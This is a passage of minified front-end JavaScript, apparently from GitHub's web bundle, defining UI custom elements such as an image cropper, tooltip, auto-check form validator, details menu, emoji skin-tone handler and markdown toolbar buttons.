$=p?Math.round(Math.max(0,e>0?w.startX:w.startX-b)):A.offsetLeft,N=p?Math.round(Math.max(0,r>0?w.startY:w.startY-b)):A.offsetTop;A.style.left=`${$}px`,A.style.top=`${N}px`,A.style.width=`${b}px`,A.style.height=`${b}px`,s(o,{x:$,y:N,width:b,height:b})}c(y,"updateDimensions");function T(o){const{image:e}=t.get(o)||{};if(!e)return;const r=Math.round(e.clientWidth>e.clientHeight?e.clientHeight:e.clientWidth);v.set(o,{startX:(e.clientWidth-r)/2,startY:(e.clientHeight-r)/2}),y(o,r,r)}c(T,"setInitialPosition");function u(o){const e=o.currentTarget;e instanceof i&&(d.delete(e),e.classList.remove("nwse","nesw"),e.removeEventListener("mousemove",a),e.removeEventListener("mousemove",n),e.removeEventListener("touchmove",a),e.removeEventListener("touchmove",n))}c(u,"stopUpdate");function s(o,e){const{image:r}=t.get(o)||{};if(!r)return;const p=r.naturalWidth/r.width;for(const b in e){const w=Math.round(e[b]*p);e[b]=w;const A=o.querySelector(`[data-image-crop-input='${b}']`);A instanceof HTMLInputElement&&(A.value=w.toString())}o.dispatchEvent(new CustomEvent("image-crop-change",{bubbles:!0,detail:e}))}c(s,"fireChangeEvent");class i extends HTMLElement{connectedCallback(){if(t.has(this))return;const e=this.attachShadow({mode:"open"});e.innerHTML=` + + +
    + +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +`;const r=e.querySelector("[data-crop-box]");if(!(r instanceof HTMLElement))return;const p=e.querySelector("img");p instanceof HTMLImageElement&&(t.set(this,{box:r,image:p}),p.addEventListener("load",()=>{this.loaded=!0,T(this)}),this.addEventListener("mouseleave",u),this.addEventListener("touchend",u),this.addEventListener("mouseup",u),r.addEventListener("mousedown",g),r.addEventListener("touchstart",g,{passive:!0}),this.addEventListener("keydown",n),this.addEventListener("keydown",a),this.src&&(p.src=this.src))}static get observedAttributes(){return["src"]}get src(){return this.getAttribute("src")}set src(e){e?this.setAttribute("src",e):this.removeAttribute("src")}get loaded(){return this.hasAttribute("loaded")}set loaded(e){e?this.setAttribute("loaded",""):this.removeAttribute("loaded")}attributeChangedCallback(e,r,p){const{image:b}=t.get(this)||{};e==="src"&&(this.loaded=!1,b&&(b.src=p))}}c(i,"ImageCropElement");const f=null;window.customElements.get("image-crop")||(window.ImageCropElement=i,window.customElements.define("image-crop",i));var E=I(11095),L=I(48030),O=function(o,e,r,p,b){if(p==="m")throw new TypeError("Private method is not writable");if(p==="a"&&!b)throw new TypeError("Private accessor was defined without a setter");if(typeof e=="function"?o!==e||!b:!e.has(o))throw new TypeError("Cannot write private member to an object whose class did not declare it");return p==="a"?b.call(o,r):b?b.value=r:e.set(o,r),r},U=function(o,e,r,p){if(r==="a"&&!p)throw new TypeError("Private accessor was defined without a getter");if(typeof e=="function"?o!==e||!p:!e.has(o))throw new TypeError("Cannot read private member from an object whose class did not declare it");return r==="m"?p:r==="a"?p.call(o):p?p.value:e.get(o)},G,K,D,z,et,Q,st;const nt="tooltip-open",it=6,lt=["tooltip-n","tooltip-s","tooltip-e","tooltip-w","tooltip-ne","tooltip-se","tooltip-nw","tooltip-sw"];class l extends HTMLElement{constructor(){super(...arguments);G.add(this),K.set(this,void 0),D.set(this,"center"),z.set(this,"outside-bottom"),et.set(this,!1)}styles(){return` + :host { + position: absolute; + z-index: 1000000; + padding: .5em .75em; + font: normal normal 11px/1.5 -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji"; + -webkit-font-smoothing: subpixel-antialiased; + color: var(--color-fg-on-emphasis); + text-align: center; + text-decoration: none; + text-shadow: none; + text-transform: none; + letter-spacing: normal; + word-wrap: break-word; + white-space: pre; + background: var(--color-neutral-emphasis-plus); + border-radius: 6px; + opacity: 0; + max-width: 250px; + word-wrap: break-word; + white-space: normal; + width: max-content; + } + + :host:before{ + position: absolute; + z-index: 1000001; + color: var(--color-neutral-emphasis-plus); + content: ""; + border: 6px solid transparent; + opacity: 0 + } + + @keyframes tooltip-appear { + from { + opacity: 0 + } + to { + opacity: 1 + } + } + + :host:after{ + position: absolute; + display: block; + right: 0; + left: 0; + height: 12px; + content: "" + } + + :host(.${nt}), + :host(.${nt}):before { + animation-name: tooltip-appear; + animation-duration: .1s; + animation-fill-mode: forwards; + animation-timing-function: ease-in; + animation-delay: .4s + } + + :host(.tooltip-s):before, + :host(.tooltip-n):before { + right: 50%; + margin-right: -${it}px; + } + + :host(.tooltip-s):before, + :host(.tooltip-se):before, + :host(.tooltip-sw):before { + bottom: 100%; + border-bottom-color: var(--color-neutral-emphasis-plus) + } + + :host(.tooltip-s):after, + :host(.tooltip-se):after, + :host(.tooltip-sw):after { + bottom: 100% + } + + :host(.tooltip-n):before, + :host(.tooltip-ne):before, + :host(.tooltip-nw):before { + top: 100%; + border-top-color: var(--color-neutral-emphasis-plus) + } + + :host(.tooltip-n):after, + :host(.tooltip-ne):after, + :host(.tooltip-nw):after { + top: 100% + } + + :host(.tooltip-se):before, + :host(.tooltip-ne):before { + left: 0; + margin-left: ${it}px; + } + + :host(.tooltip-sw):before, + :host(.tooltip-nw):before { + right: 0; + margin-right: ${it}px; + } + + :host(.tooltip-w):before { + top: 50%; + bottom: 50%; + left: 100%; + margin-top: -6px; + border-left-color: var(--color-neutral-emphasis-plus) + } + + :host(.tooltip-e):before { + top: 50%; + right: 100%; + bottom: 50%; + margin-top: -6px; + border-right-color: var(--color-neutral-emphasis-plus) + } + `}get htmlFor(){return this.getAttribute("for")||""}set htmlFor(e){this.setAttribute("for",e)}get type(){return this.getAttribute("data-type")==="label"?"label":"description"}set type(e){this.setAttribute("data-type",e)}get direction(){return this.getAttribute("data-direction")||"s"}set direction(e){this.setAttribute("data-direction",e)}get control(){return this.ownerDocument.getElementById(this.htmlFor)}connectedCallback(){var e;if(!this.shadowRoot){const p=this.attachShadow({mode:"open"});p.innerHTML=` + + + `}if(this.hidden=!0,O(this,et,!0,"f"),this.id||(this.id=`tooltip-${Date.now()}-${(Math.random()*1e4).toFixed(0)}`),!this.control)return;this.setAttribute("role","tooltip"),(e=U(this,K,"f"))===null||e===void 0||e.abort(),O(this,K,new AbortController,"f");const{signal:r}=U(this,K,"f");this.addEventListener("mouseleave",this,{signal:r}),this.control.addEventListener("mouseenter",this,{signal:r}),this.control.addEventListener("mouseleave",this,{signal:r}),this.control.addEventListener("focus",this,{signal:r}),this.control.addEventListener("blur",this,{signal:r}),this.ownerDocument.addEventListener("keydown",this,{signal:r}),U(this,G,"m",Q).call(this)}disconnectedCallback(){var e;(e=U(this,K,"f"))===null||e===void 0||e.abort()}handleEvent(e){!this.control||((e.type==="mouseenter"||e.type==="focus")&&this.hidden?this.hidden=!1:e.type==="blur"?this.hidden=!0:e.type==="mouseleave"&&e.relatedTarget!==this.control&&e.relatedTarget!==this?this.hidden=!0:e.type==="keydown"&&e.key==="Escape"&&!this.hidden&&(this.hidden=!0))}attributeChangedCallback(e){if(e==="id"||e==="data-type"){if(!this.id||!this.control)return;if(this.type==="label")this.control.setAttribute("aria-labelledby",this.id);else{let r=this.control.getAttribute("aria-describedby");r?r=`${r} ${this.id}`:r=this.id,this.control.setAttribute("aria-describedby",r)}}else if(this.isConnected&&e==="hidden")U(this,G,"m",Q).call(this);else if(e==="data-direction"){this.classList.remove(...lt);const r=this.direction;r==="n"?(O(this,D,"center","f"),O(this,z,"outside-top","f")):r==="ne"?(O(this,D,"start","f"),O(this,z,"outside-top","f")):r==="e"?(O(this,D,"center","f"),O(this,z,"outside-right","f")):r==="se"?(O(this,D,"start","f"),O(this,z,"outside-bottom","f")):r==="s"?(O(this,D,"center","f"),O(this,z,"outside-bottom","f")):r==="sw"?(O(this,D,"end","f"),O(this,z,"outside-bottom","f")):r==="w"?(O(this,D,"center","f"),O(this,z,"outside-left","f")):r==="nw"&&(O(this,D,"end","f"),O(this,z,"outside-top","f"))}}}c(l,"ToolTipElement"),K=new WeakMap,D=new WeakMap,z=new WeakMap,et=new WeakMap,G=new WeakSet,Q=c(function(){if(this.hidden)this.classList.remove(nt,...lt);else{this.classList.add(nt);for(const e of this.ownerDocument.querySelectorAll(this.tagName))e!==this&&(e.hidden=!0);U(this,G,"m",st).call(this)}},"_ToolTipElement_update"),st=c(function(){if(!this.control||!U(this,et,"f")||this.hidden)return;const e=10;this.style.left="0px";const r=(0,L.N)(this,this.control,{side:U(this,z,"f"),align:U(this,D,"f"),anchorOffset:e}),p=r.anchorSide,b=r.anchorAlign;this.style.top=`${r.top}px`,this.style.left=`${r.left}px`;let w="s";p==="outside-left"?w="w":p==="outside-right"?w="e":p==="outside-top"?b==="center"?w="n":b==="start"?w="ne":w="nw":b==="center"?w="s":b==="start"?w="se":w="sw",this.classList.add(`tooltip-${w}`)},"_ToolTipElement_updatePosition"),l.observedAttributes=["data-type","data-direction","id","hidden"],window.customElements.get("tool-tip")||(window.ToolTipElement=l,window.customElements.define("tool-tip",l))},38257:()=>{function j(k,m=0,{start:v=!0,middle:d=!0,once:t=!1}={}){var n=0,a,h=!1,g=c(function y(...T){if(!h){var u=Date.now()-n;n=Date.now(),v?(v=!1,k(...T),t&&y.cancel()):(d&&ua=g,"setValidity");m.dispatchEvent(new CustomEvent("auto-check-start",{bubbles:!0,detail:{setValidity:h}})),v.required&&m.setCustomValidity(a)}c(_,"setLoadingState");function W(){return"AbortController"in window?new AbortController:{signal:null,abort(){}}}c(W,"makeAbortController");async function S(k,m,v){try{const d=await fetch(m,v);return k.dispatchEvent(new CustomEvent("load")),k.dispatchEvent(new CustomEvent("loadend")),d}catch(d){throw d.name!=="AbortError"&&(k.dispatchEvent(new CustomEvent("error")),k.dispatchEvent(new CustomEvent("loadend"))),d}}c(S,"fetchWithNetworkEvents");async function B(k){const m=k.input;if(!m)return;const v=k.src,d=k.csrf,t=I.get(k);if(!v||!d||!t){k.required&&m.setCustomValidity("");return}if(!m.value.trim()){k.required&&m.setCustomValidity("");return}const n=new FormData;n.append("authenticity_token",d),n.append("value",m.value),m.dispatchEvent(new CustomEvent("auto-check-send",{bubbles:!0,detail:{body:n}})),t.controller?t.controller.abort():k.dispatchEvent(new CustomEvent("loadstart")),t.controller=W();try{const a=await S(k,v,{credentials:"same-origin",signal:t.controller.signal,method:"POST",body:n});a.ok?H(a,m,k.required):M(a,m,k.required),t.controller=null,m.dispatchEvent(new CustomEvent("auto-check-complete",{bubbles:!0}))}catch(a){a.name!=="AbortError"&&(t.controller=null,m.dispatchEvent(new CustomEvent("auto-check-complete",{bubbles:!0})))}}c(B,"check");function H(k,m,v){v&&m.setCustomValidity(""),m.dispatchEvent(new CustomEvent("auto-check-success",{bubbles:!0,detail:{response:k.clone()}}))}c(H,"processSuccess");function M(k,m,v){let d="Validation failed";const t=c(n=>d=n,"setValidity");m.dispatchEvent(new CustomEvent("auto-check-error",{bubbles:!0,detail:{response:k.clone(),setValidity:t}})),v&&m.setCustomValidity(d)}c(M,"processFailure"),window.customElements.get("auto-check")||(window.AutoCheckElement=x,window.customElements.define("auto-check",x));var R=null},11095:()=>{class j extends HTMLElement{get preload(){return this.hasAttribute("preload")}set preload(s){s?this.setAttribute("preload",""):this.removeAttribute("preload")}get src(){return this.getAttribute("src")||""}set src(s){this.setAttribute("src",s)}connectedCallback(){this.hasAttribute("role")||this.setAttribute("role","menu");const s=this.parentElement;if(!s)return;const i=s.querySelector("summary");i&&(i.setAttribute("aria-haspopup","menu"),i.hasAttribute("role")||i.setAttribute("role","button"));const f=[x(s,"compositionstart",E=>y(this,E)),x(s,"compositionend",E=>y(this,E)),x(s,"click",E=>k(s,E)),x(s,"change",E=>k(s,E)),x(s,"keydown",E=>d(s,this,E)),x(s,"toggle",()=>_(s,this),{once:!0}),x(s,"toggle",()=>S(s)),this.preload?x(s,"mouseover",()=>_(s,this),{once:!0}):I,...W(s)];P.set(this,{subscriptions:f,loaded:!1,isComposing:!1})}disconnectedCallback(){const s=P.get(this);if(!!s){P.delete(this);for(const i of s.subscriptions)i.unsubscribe()}}}c(j,"DetailsMenuElement");const P=new WeakMap,I={unsubscribe(){}};function x(u,s,i,f=!1){return u.addEventListener(s,i,f),{unsubscribe:()=>{u.removeEventListener(s,i,f)}}}c(x,"fromEvent");function _(u,s){const i=s.getAttribute("src");if(!i)return;const f=P.get(s);if(!f||f.loaded)return;f.loaded=!0;const E=s.querySelector("include-fragment");E&&!E.hasAttribute("src")&&(E.addEventListener("loadend",()=>B(u)),E.setAttribute("src",i))}c(_,"loadFragment");function W(u){let s=!1;const i=c(()=>s=!0,"onmousedown"),f=c(()=>s=!1,"onkeydown"),E=c(()=>{!u.hasAttribute("open")||B(u)||s||H(u)},"ontoggle");return[x(u,"mousedown",i),x(u,"keydown",f),x(u,"toggle",E)]}c(W,"focusOnOpen");function S(u){if(!!u.hasAttribute("open"))for(const s of document.querySelectorAll("details[open] > details-menu")){const i=s.closest("details");i&&i!==u&&!i.contains(u)&&i.removeAttribute("open")}}c(S,"closeCurrentMenu");function B(u){if(!u.hasAttribute("open"))return!1;const s=u.querySelector("details-menu [autofocus]");return s?(s.focus(),!0):!1}c(B,"autofocus");function H(u){const s=document.activeElement;if(s&&t(s)&&u.contains(s))return;const i=M(u,!0);i&&i.focus()}c(H,"focusFirstItem");function M(u,s){const i=Array.from(u.querySelectorAll('[role^="menuitem"]:not([hidden]):not([disabled]):not([aria-disabled="true"])')),f=document.activeElement,E=f instanceof HTMLElement?i.indexOf(f):-1,L=s?i[E+1]:i[E-1],O=s?i[0]:i[i.length-1];return L||O}c(M,"sibling");const R=navigator.userAgent.match(/Macintosh/);function k(u,s){const i=s.target;if(i instanceof Element&&i.closest("details")===u){if(s.type==="click"){const f=i.closest('[role="menuitem"], [role="menuitemradio"]');if(!f)return;const E=f.querySelector("input");if(f.tagName==="LABEL"&&i===E)return;f.tagName==="LABEL"&&E&&!E.checked||v(f,u)}else if(s.type==="change"){const f=i.closest('[role="menuitemradio"], [role="menuitemcheckbox"]');f&&v(f,u)}}}c(k,"shouldCommit");function m(u,s){for(const i of s.querySelectorAll('[role="menuitemradio"], [role="menuitemcheckbox"]')){const f=i.querySelector('input[type="radio"], input[type="checkbox"]');let E=(i===u).toString();f instanceof HTMLInputElement&&(E=f.indeterminate?"mixed":f.checked.toString()),i.setAttribute("aria-checked",E)}}c(m,"updateChecked");function v(u,s){if(u.hasAttribute("disabled")||u.getAttribute("aria-disabled")==="true")return;const i=u.closest("details-menu");!i||!i.dispatchEvent(new CustomEvent("details-menu-select",{cancelable:!0,detail:{relatedTarget:u}}))||(a(u,s),m(u,s),u.getAttribute("role")!=="menuitemcheckbox"&&n(s),i.dispatchEvent(new CustomEvent("details-menu-selected",{detail:{relatedTarget:u}})))}c(v,"commit");function d(u,s,i){if(!(i instanceof KeyboardEvent)||u.querySelector("details[open]"))return;const f=P.get(s);if(!f||f.isComposing)return;const E=i.target instanceof Element&&i.target.tagName==="SUMMARY";switch(i.key){case"Escape":u.hasAttribute("open")&&(n(u),i.preventDefault(),i.stopPropagation());break;case"ArrowDown":{E&&!u.hasAttribute("open")&&u.setAttribute("open","");const L=M(u,!0);L&&L.focus(),i.preventDefault()}break;case"ArrowUp":{E&&!u.hasAttribute("open")&&u.setAttribute("open","");const L=M(u,!1);L&&L.focus(),i.preventDefault()}break;case"n":if(R&&i.ctrlKey){const L=M(u,!0);L&&L.focus(),i.preventDefault()}break;case"p":if(R&&i.ctrlKey){const L=M(u,!1);L&&L.focus(),i.preventDefault()}break;case" ":case"Enter":{const L=document.activeElement;L instanceof HTMLElement&&t(L)&&L.closest("details")===u&&(i.preventDefault(),i.stopPropagation(),L.click())}break}}c(d,"keydown");function t(u){const s=u.getAttribute("role");return s==="menuitem"||s==="menuitemcheckbox"||s==="menuitemradio"}c(t,"isMenuItem");function n(u){if(!u.hasAttribute("open"))return;u.removeAttribute("open");const i=u.querySelector("summary");i&&i.focus()}c(n,"close");function a(u,s){const i=s.querySelector("[data-menu-button]");if(!i)return;const f=h(u);if(f)i.textContent=f;else{const E=g(u);E&&(i.innerHTML=E)}}c(a,"updateLabel");function h(u){if(!u)return null;const s=u.hasAttribute("data-menu-button-text")?u:u.querySelector("[data-menu-button-text]");return s?s.getAttribute("data-menu-button-text")||s.textContent:null}c(h,"labelText");function g(u){if(!u)return null;const s=u.hasAttribute("data-menu-button-contents")?u:u.querySelector("[data-menu-button-contents]");return s?s.innerHTML:null}c(g,"labelHTML");function y(u,s){const i=P.get(u);!i||(i.isComposing=s.type==="compositionstart")}c(y,"trackComposition");var T=null;window.customElements.get("details-menu")||(window.DetailsMenuElement=j,window.customElements.define("details-menu",j))},73921:()=>{function j(){const t=/\bWindows NT 6.1\b/.test(navigator.userAgent),n=/\bWindows NT 6.2\b/.test(navigator.userAgent),a=/\bWindows NT 6.3\b/.test(navigator.userAgent),h=/\bFreeBSD\b/.test(navigator.userAgent),g=/\bLinux\b/.test(navigator.userAgent)&&!/\bAndroid\b/.test(navigator.userAgent);return!(t||n||a||g||h)}c(j,"isEmojiSupported");const P=new Set(["\u{1F44B}","\u{1F91A}","\u{1F590}\uFE0F","\u270B","\u{1F596}","\u{1F44C}","\u{1F90F}","\u270C\uFE0F","\u{1F91E}","\u{1F91F}","\u{1F918}","\u{1F919}","\u{1F448}","\u{1F449}","\u{1F446}","\u{1F595}","\u{1F447}","\u261D\uFE0F","\u{1F44D}","\u{1F44E}","\u270A","\u{1F44A}","\u{1F91B}","\u{1F91C}","\u{1F44F}","\u{1F64C}","\u{1F450}","\u{1F932}","\u{1F64F}","\u270D\uFE0F","\u{1F485}","\u{1F933}","\u{1F4AA}","\u{1F9B5}","\u{1F9B6}","\u{1F442}","\u{1F9BB}","\u{1F443}","\u{1F476}","\u{1F9D2}","\u{1F466}","\u{1F467}","\u{1F9D1}","\u{1F471}","\u{1F468}","\u{1F9D4}","\u{1F471}\u200D\u2642\uFE0F","\u{1F468}\u200D\u{1F9B0}","\u{1F468}\u200D\u{1F9B1}","\u{1F468}\u200D\u{1F9B3}","\u{1F468}\u200D\u{1F9B2}","\u{1F469}","\u{1F471}\u200D\u2640\uFE0F","\u{1F469}\u200D\u{1F9B0}","\u{1F469}\u200D\u{1F9B1}","\u{1F469}\u200D\u{1F9B3}","\u{1F469}\u200D\u{1F9B2}","\u{1F9D3}","\u{1F474}","\u{1F475}","\u{1F64D}","\u{1F64D}\u200D\u2642\uFE0F","\u{1F64D}\u200D\u2640\uFE0F","\u{1F64E}","\u{1F64E}\u200D\u2642\uFE0F","\u{1F64E}\u200D\u2640\uFE0F","\u{1F645}","\u{1F645}\u200D\u2642\uFE0F","\u{1F645}\u200D\u2640\uFE0F","\u{1F646}","\u{1F646}\u200D\u2642\uFE0F","\u{1F646}\u200D\u2640\uFE0F","\u{1F481}","\u{1F481}\u200D\u2642\uFE0F","\u{1F481}\u200D\u2640\uFE0F","\u{1F64B}","\u{1F64B}\u200D\u2642\uFE0F","\u{1F64B}\u200D\u2640\uFE0F","\u{1F9CF}","\u{1F9CF}\u200D\u2642\uFE0F","\u{1F9CF}\u200D\u2640\uFE0F","\u{1F647}","\u{1F647}\u200D\u2642\uFE0F","\u{1F647}\u200D\u2640\uFE0F","\u{1F926}","\u{1F926}\u200D\u2642\uFE0F","\u{1F926}\u200D\u2640\uFE0F","\u{1F937}","\u{1F937}\u200D\u2642\uFE0F","\u{1F937}\u200D\u2640\uFE0F","\u{1F468}\u200D\u2695\uFE0F","\u{1F469}\u200D\u2695\uFE0F","\u{1F468}\u200D\u{1F393}","\u{1F469}\u200D\u{1F393}","\u{1F468}\u200D\u{1F3EB}","\u{1F469}\u200D\u{1F3EB}","\u{1F468}\u200D\u2696\uFE0F","\u{1F469}\u200D\u2696\uFE0F","\u{1F468}\u200D\u{1F33E}","\u{1F469}\u200D\u{1F33E}","\u{1F468}\u200D\u{1F373}","\u{1F469}\u200D\u{1F373}","\u{1F468}\u200D\u{1F527}","\u{1F469}\u200D\u{1F527}","\u{1F468}\u200D\u{1F3ED}","\u{1F469}\u200D\u{1F3ED}","\u{1F468}\u200D\u{1F4BC}","\u{1F469}\u200D\u{1F4BC}","\u{1F468}\u200D\u{1F52C}","\u{1F469}\u200D\u{1F52C}","\u{1F468}\u200D\u{1F4BB}","\u{1F469}\u200D\u{1F4BB}","\u{1F468}\u200D\u{1F3A4}","\u{1F469}\u200D\u{1F3A4}","\u{1F468}\u200D\u{1F3A8}","\u{1F469}\u200D\u{1F3A8}","\u{1F468}\u200D\u2708\uFE0F","\u{1F469}\u200D\u2708\uFE0F","\u{1F468}\u200D\u{1F680}","\u{1F469}\u200D\u{1F680}","\u{1F468}\u200D\u{1F692}","\u{1F469}\u200D\u{1F692}","\u{1F46E}","\u{1F46E}\u200D\u2642\uFE0F","\u{1F46E}\u200D\u2640\uFE0F","\u{1F575}\uFE0F","\u{1F575}\uFE0F\u200D\u2642\uFE0F","\u{1F575}\uFE0F\u200D\u2640\uFE0F","\u{1F482}","\u{1F482}\u200D\u2642\uFE0F","\u{1F482}\u200D\u2640\uFE0F","\u{1F477}","\u{1F477}\u200D\u2642\uFE0F","\u{1F477}\u200D\u2640\uFE0F","\u{1F934}","\u{1F478}","\u{1F473}","\u{1F473}\u200D\u2642\uFE0F","\u{1F473}\u200D\u2640\uFE0F","\u{1F472}","\u{1F9D5}","\u{1F935}","\u{1F470}","\u{1F930}","\u{1F931}","\u{1F47C}","\u{1F385}","\u{1F936}","\u{1F9B8}","\u{1F9B8}\u200D\u2642\uFE0F","\u{1F9B8}\u200D\u2640\uFE0F","\u{1F9B9}","\u{1F9B9}\u200D\u2642\uFE0F","\u{1F9B9}\u200D\u2640\uFE0F","\u{1F9D9}","\u{1F9D9}\u200D\u2642\uFE0F","\u{1F9D9}\u200D\u2640\uFE0F","\u{1F9DA}","\u{1F9DA}\u200D\u2642\uFE0F","\u{1F9DA}\u200D\u2640\uFE0F","\u{1F9DB}","\u{1F9DB}\u200D\u2642\uFE0F","\u{1F9DB}\u200D\u2640\uFE0F","\u{1F9DC}","\u{1F9DC}\u200D\u2642\uFE0F","\u{1F9DC}\u200D\u2640\uFE0F","\u{1F9DD}","\u{1F9DD}\u200D\u2642\uFE0F","\u{1F9DD}\u200D\u2640\uFE0F","\u{1F486}","\u{1F486}\u200D\u2642\uFE0F","\u{1F486}\u200D\u2640\uFE0F","\u{1F487}","\u{1F487}\u200D\u2642\uFE0F","\u{1F487}\u200D\u2640\uFE0F","\u{1F6B6}","\u{1F6B6}\u200D\u2642\uFE0F","\u{1F6B6}\u200D\u2640\uFE0F","\u{1F9CD}","\u{1F9CD}\u200D\u2642\uFE0F","\u{1F9CD}\u200D\u2640\uFE0F","\u{1F9CE}","\u{1F9CE}\u200D\u2642\uFE0F","\u{1F9CE}\u200D\u2640\uFE0F","\u{1F468}\u200D\u{1F9AF}","\u{1F469}\u200D\u{1F9AF}","\u{1F468}\u200D\u{1F9BC}","\u{1F469}\u200D\u{1F9BC}","\u{1F468}\u200D\u{1F9BD}","\u{1F469}\u200D\u{1F9BD}","\u{1F3C3}","\u{1F3C3}\u200D\u2642\uFE0F","\u{1F3C3}\u200D\u2640\uFE0F","\u{1F483}","\u{1F57A}","\u{1F574}\uFE0F","\u{1F9D6}","\u{1F9D6}\u200D\u2642\uFE0F","\u{1F9D6}\u200D\u2640\uFE0F","\u{1F9D7}","\u{1F9D7}\u200D\u2642\uFE0F","\u{1F9D7}\u200D\u2640\uFE0F","\u{1F3C7}","\u{1F3C2}","\u{1F3CC}\uFE0F","\u{1F3CC}\uFE0F\u200D\u2642\uFE0F","\u{1F3CC}\uFE0F\u200D\u2640\uFE0F","\u{1F3C4}","\u{1F3C4}\u200D\u2642\uFE0F","\u{1F3C4}\u200D\u2640\uFE0F","\u{1F6A3}","\u{1F6A3}\u200D\u2642\uFE0F","\u{1F6A3}\u200D\u2640\uFE0F","\u{1F3CA}","\u{1F3CA}\u200D\u2642\uFE0F","\u{1F3CA}\u200D\u2640\uFE0F","\u26F9\uFE0F","\u26F9\uFE0F\u200D\u2642\uFE0F","\u26F9\uFE0F\u200D\u2640\uFE0F","\u{1F3CB}\uFE0F","\u{1F3CB}\uFE0F\u200D\u2642\uFE0F","\u{1F3CB}\uFE0F\u200D\u2640\uFE0F","\u{1F6B4}","\u{1F6B4}\u200D\u2642\uFE0F","\u{1F6B4}\u200D\u2640\uFE0F","\u{1F6B5}","\u{1F6B5}\u200D\u2642\uFE0F","\u{1F6B5}\u200D\u2640\uFE0F","\u{1F938}","\u{1F938}\u200D\u2642\uFE0F","\u{1F938}\u200D\u2640\uFE0F","\u{1F93D}","\u{1F93D}\u200D\u2642\uFE0F","\u{1F93D}\u200D\u2640\uFE0F","\u{1F93E}","\u{1F93E}\u200D\u2642\uFE0F","\u{1F93E}\u200D\u2640\uFE0F","\u{1F939}","\u{1F939}\u200D\u2642\uFE0F","\u{1F939}\u200D\u2640\uFE0F","\u{1F9D8}","\u{1F9D8}\u200D\u2642\uFE0F","\u{1F9D8}\u200D\u2640\uFE0F","\u{1F6C0}","\u{1F6CC}","\u{1F9D1}\u200D\u{1F91D}\u200D\u{1F9D1}","\u{1F46D}","\u{1F46B}","\u{1F46C}"]);function I(t){return P.has(t)}c(I,"isModifiable");const x="\u200D",_=65039;function W(t,n){const a=B(t);if(!I(a))return t;const h=R(n);return h?a.split(x).map(g=>I(g)?H(g,h):g).join(x):t}c(W,"applyTone");function S(t,n){const a=B(t);if(!I(a))return t;const h=n.map(g=>R(g));return a.split(x).map(g=>{if(!I(g))return g;const y=h.shift();return y?H(g,y):g}).join(x)}c(S,"applyTones");function B(t){return[...t].filter(n=>!M(n.codePointAt(0))).join("")}c(B,"removeTone");function H(t,n){const a=[...t].map(h=>h.codePointAt(0));return a[1]&&(M(a[1])||a[1]===_)?a[1]=n:a.splice(1,0,n),String.fromCodePoint(...a)}c(H,"tint");function M(t){return t>=127995&&t<=127999}c(M,"isTone");function R(t){switch(t){case 1:return 127995;case 2:return 127996;case 3:return 127997;case 4:return 127998;case 5:return 127999;default:return null}}c(R,"toneModifier");class k extends HTMLElement{get image(){return this.firstElementChild instanceof HTMLImageElement?this.firstElementChild:null}get tone(){return(this.getAttribute("tone")||"").split(" ").map(n=>{const a=parseInt(n,10);return a>=0&&a<=5?a:0}).join(" ")}set tone(n){this.setAttribute("tone",n)}connectedCallback(){if(this.image===null&&!j()){const n=this.getAttribute("fallback-src");if(n){this.textContent="";const a=v(this);a.src=n,this.appendChild(a)}}this.hasAttribute("tone")&&m(this)}static get observedAttributes(){return["tone"]}attributeChangedCallback(n){switch(n){case"tone":m(this);break}}}c(k,"GEmojiElement");function m(t){if(t.image)return;const n=t.tone.split(" ").map(a=>parseInt(a,10));if(n.length===0)t.textContent=B(t.textContent||"");else if(n.length===1){const a=n[0];t.textContent=a===0?B(t.textContent||""):W(t.textContent||"",a)}else t.textContent=S(t.textContent||"",n)}c(m,"updateTone");function v(t){const n=document.createElement("img");return n.className="emoji",n.alt=t.getAttribute("alias")||"",n.height=20,n.width=20,n}c(v,"emojiImage"),window.customElements.get("g-emoji")||(window.GEmojiElement=k,window.customElements.define("g-emoji",k));var d=null},51941:()=>{const j=["[data-md-button]","md-header","md-bold","md-italic","md-quote","md-code","md-link","md-image","md-unordered-list","md-ordered-list","md-task-list","md-mention","md-ref","md-strikethrough"];function P(l){const o=[];for(const e of l.querySelectorAll(j.join(", ")))e.hidden||e.offsetWidth<=0&&e.offsetHeight<=0||e.closest("markdown-toolbar")===l&&o.push(e);return o}c(P,"getButtons");function I(l){return function(o){(o.key===" "||o.key==="Enter")&&(o.preventDefault(),l(o))}}c(I,"keydown");const x=new WeakMap;class _ extends HTMLElement{constructor(){super();const o=c(()=>{const e=x.get(this);!e||it(this,e)},"apply");this.addEventListener("keydown",I(o)),this.addEventListener("click",o)}connectedCallback(){this.hasAttribute("role")||this.setAttribute("role","button")}click(){const o=x.get(this);!o||it(this,o)}}c(_,"MarkdownButtonElement");class W extends _{constructor(){super();const o=parseInt(this.getAttribute("level")||"3",10);if(o<1||o>6)return;const e=`${"#".repeat(o)} `;x.set(this,{prefix:e})}}c(W,"MarkdownHeaderButtonElement"),window.customElements.get("md-header")||(window.MarkdownHeaderButtonElement=W,window.customElements.define("md-header",W));class S extends _{constructor(){super();x.set(this,{prefix:"**",suffix:"**",trimFirst:!0})}}c(S,"MarkdownBoldButtonElement"),window.customElements.get("md-bold")||(window.MarkdownBoldButtonElement=S,window.customElements.define("md-bold",S));class B extends _{constructor(){super();x.set(this,{prefix:"_",suffix:"_",trimFirst:!0})}}c(B,"MarkdownItalicButtonElement"),window.customElements.get("md-italic")||(window.MarkdownItalicButtonElement=B,window.customElements.define("md-italic",B));class H extends _{constructor(){super();x.set(this,{prefix:"> ",multiline:!0,surroundWithNewlines:!0})}}c(H,"MarkdownQuoteButtonElement"),window.customElements.get("md-quote")||(window.MarkdownQuoteButtonElement=H,window.customElements.define("md-quote",H));class M extends _{constructor(){super();x.set(this,{prefix:"`",suffix:"`",blockPrefix:"```",blockSuffix:"```"})}}c(M,"MarkdownCodeButtonElement"),window.customElements.get("md-code")||(window.MarkdownCodeButtonElement=M,window.customElements.define("md-code",M));class R extends _{constructor(){super();x.set(this,{prefix:"[",suffix:"](url)",replaceNext:"url",scanFor:"https?://"})}}c(R,"MarkdownLinkButtonElement"),window.customElements.get("md-link")||(window.MarkdownLinkButtonElement=R,window.customElements.define("md-link",R));class k extends _{constructor(){super();x.set(this,{prefix:"![",suffix:"](url)",replaceNext:"url",scanFor:"https?://"})}}c(k,"MarkdownImageButtonElement"),window.customElements.get("md-image")||(window.MarkdownImageButtonElement=k,window.customElements.define("md-image",k));class m extends 